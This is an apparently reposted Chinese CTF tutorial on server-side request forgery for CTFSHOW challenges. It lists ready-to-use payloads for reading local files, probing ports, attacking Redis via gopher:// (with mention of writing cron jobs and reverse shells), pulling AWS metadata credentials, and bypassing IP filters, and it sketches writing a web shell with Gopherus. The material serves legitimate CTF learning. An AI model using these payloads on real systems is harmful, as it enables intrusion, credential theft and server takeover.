文章总结: 本文讲解CTF中SSRF漏洞的原理与利用。核心内容涵盖file、dict、gopher等协议的Payload构造,重点介绍了gopher协议攻击Redis的实战方法。文章总结了IP混淆、URL编码及重定向等绕过限制技巧,最后通过实战案例演示了利用Gopherus工具写Shell并获取Flag的完整流程。 综合评分: 85 文章分类: CTF,WEB安全,漏洞POC,实战经验,安全工具
CTF学习:CTFSHOW简单的SSRF
原创
小话安全 小话安全
小话安全
2026年3月3日 15:46 山东
什么是 SSRF?
SSRF 全称 Server-Side Request Forgery(服务器端请求伪造),攻击者通过控制服务器端发起的请求,使服务器向攻击者指定的内网或本地地址发起请求,从而访问本应无法从外部直接访问的资源。常见的利用方式包括:
- 读取本地文件(如
file://协议) - 探测内网开放端口
- 攻击内网其他服务
为什么 http://0/flag.php 能访问本地?
在 URL 解析中,0 会被解析为 0.0.0.0,而 0.0.0.0 在大多数操作系统和网络库中会被绑定到本机所有地址,通常等同于 localhost。所以 http://0/flag.php 实际请求的是本机的 /flag.php。
有时也可以用 http://127.0.0.1/flag.php、http://localhost/flag.php 或 http://[::1]/flag.php 来达到相同目的。
常用payload
一、按协议分类
- file:// – 读取本地文件
?url=file:///etc/passwd?url=file:///c:/windows/win.ini?url=file:///proc/self/environ # 有时能拿到环境变量
利用 file:// 协议可以读取服务器上的任意文件,常用于获取 flag、配置文件或源码。
- dict:// – 探测端口与服务
?url=dict://127.0.0.1:3306/info?url=dict://127.0.0.1:6379/info # 探测 Redis 是否开放?url=dict://127.0.0.1:80/info # 检测 80 端口状态
dict:// 协议会返回服务的 banner 信息,可以快速判断端口是否开放以及运行什么服务。
- gopher:// – 构造任意 TCP 请求
gopher:// 是最强大的 SSRF 协议之一,可以构造 HTTP POST、Redis 命令、MySQL 查询等,支持原始 TCP 数据。
通用格式:
gopher://<host>:<port>/_<URL编码后的TCP数据>
常用场景:
攻击 Redis(未授权访问):gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a可执行写定时任务、反弹 shell 等。构造 HTTP POST 请求:gopher://127.0.0.1:80/_POST%20/path%20HTTP/1.1%0d%0aHost:127.0.0.1%0d%0aContent-Length:2%0d%0a%0d%0aa=1注意需要 URL 编码换行符(%0d%0a)
工具推荐:Gopherus 能自动生成 gopher payload(Redis、MySQL、FastCGI、Memcached 等)。
- http:// / https:// – 访问内网 Web 服务
?url=http://127.0.0.1:8080/admin?url=http://192.168.0.1/flag?url=http://0/flag.php # 0 = 0.0.0.0 = localhost?url=http://localhost/secret
常用于访问内网的管理后台、微服务、云元数据服务(如 AWS 的 169.254.169.254)。
AWS 元数据端点(经典 SSRF 靶点):
?url=http://169.254.169.254/latest/meta-data/?url=http://169.254.169.254/latest/user-data/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin
- ftp:// / sftp:// – 尝试匿名登录
?url=ftp://127.0.0.1:21?url=ftp://anonymous:[email protected]:21/flag.txt
如果内网有 FTP 服务且允许匿名访问,可以读取文件。
二、IP 地址混淆技巧(绕过 IP 限制)
很多代码会检查请求的 IP 是否属于内网/本地,以下技巧可绕过简单过滤:
- 十进制 / 八进制 / 十六进制 IP
127.0.0.1 = 2130706433 (十进制) = 0177.0.0.1 (八进制前缀 0) = 0x7f.0x0.0x0.0x1
例子:
?url=http://2130706433/flag.php?url=http://0x7f000001/flag.php?url=http://0177.0.0.1/flag.php
- 省略写法(短 IP)
127.0.0.1 可写为 127.10.0.0.0 可写为 0
例子:
?url=http://127.1/flag.php?url=http://0/flag.php
- 利用特殊域名 / DNS 解析
localhost → 127.0.0.1localtest.me → 127.0.0.1127.0.0.1.nip.io → 127.0.0.1(nip.io 自动解析)spoofed.burpcollaborator.net(配合 DNS 重绑定)
- 句点混淆(IPv6 兼容)
?url=http://[::1]/flag.php # IPv6 localhost?url=http://[::ffff:127.0.0.1]/flag.php
三、URL 编码 / 双编码
当服务端有简单过滤时,可以对 URL 进行编码:
?url=http://127.0.0.1%2fflag.php # 编码斜杠可能绕过路径检测?url=http%3A%2F%2F127.0.0.1%2Fflag.php
四、利用重定向(跳板)
某些 SSRF 只允许 http 协议,但目标服务会返回 302 跳转到 file:// 等协议。可以自己搭建一个跳转服务:
http://your-server/redirect.php?url=file:///etc/passwd
服务端返回:
HTTP/1.1 302 FoundLocation: file:///etc/passwd
如果后端代码跟随重定向,即可读取本地文件。
利用gopherus工具写shell
二次 编码
用蚁剑连接,获得flag
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小话安全 小话安全 小话安全《CTF学习:CTFSHOW简单的SSRF》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论